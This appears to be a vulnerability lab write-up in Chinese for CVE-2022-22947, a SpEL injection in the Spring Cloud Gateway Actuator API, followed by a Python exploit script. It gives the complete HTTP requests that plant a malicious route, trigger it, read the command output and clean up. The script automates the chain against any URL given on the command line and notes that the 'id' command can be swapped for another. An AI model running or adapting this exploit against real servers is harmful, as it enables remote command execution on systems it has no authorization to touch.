add Spring Cloud Gateway CVE-2022-22947 exp
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# Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
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Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
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## 漏洞环境
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执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务:
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```
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docker-compose up -d
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```
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服务启动后,访问`http://your-ip:8080`即可看到演示页面,这个页面的上游就是example.com。
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## 漏洞复现
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1. 首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:
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```
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POST /actuator/gateway/routes/hacktest HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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Content-Type: application/json
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Content-Length: 328
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{
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"id": "hacktest",
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"filters": [{
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"name": "AddResponseHeader",
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"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
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}],
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"uri": "http://example.com",
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"order": 0
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}
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```
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2. 发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:
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```
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POST /actuator/gateway/refresh HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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3. 发送如下数据包即可查看执行结果:
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```
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GET /actuator/gateway/routes/hacktest HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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4. 最后,发送如下数据包清理现场,删除所添加的路由:
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```
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DELETE /actuator/gateway/routes/hacktest HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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```
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import requests
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import json
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import sys
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def exec(url):
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headers1 = {
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'Accept-Encoding': 'gzip, deflate',
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'Accept': '*/*',
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'Accept-Language': 'en',
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'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
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'Content-Type': 'application/json'
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}
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headers2 = {
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'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
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'Content-Type': 'application/x-www-form-urlencoded'
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}
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## command to execute replace "id" in payload
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payload = '''{\r
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"id": "hacktest",\r
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"filters": [{\r
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"name": "AddResponseHeader",\r
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"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
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}],\r
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"uri": "http://example.com",\r
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"order": 0\r
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}'''
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re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
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re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
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re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
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re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
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re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
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print(re3.text)
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if __name__ == "__main__":
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print(''' CVE-2022-22947 exploit
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usage: python3 test.py url
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''')
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if(len(sys.argv)>1):
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url = sys.argv[1]
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exec(url)
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else:
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exit()
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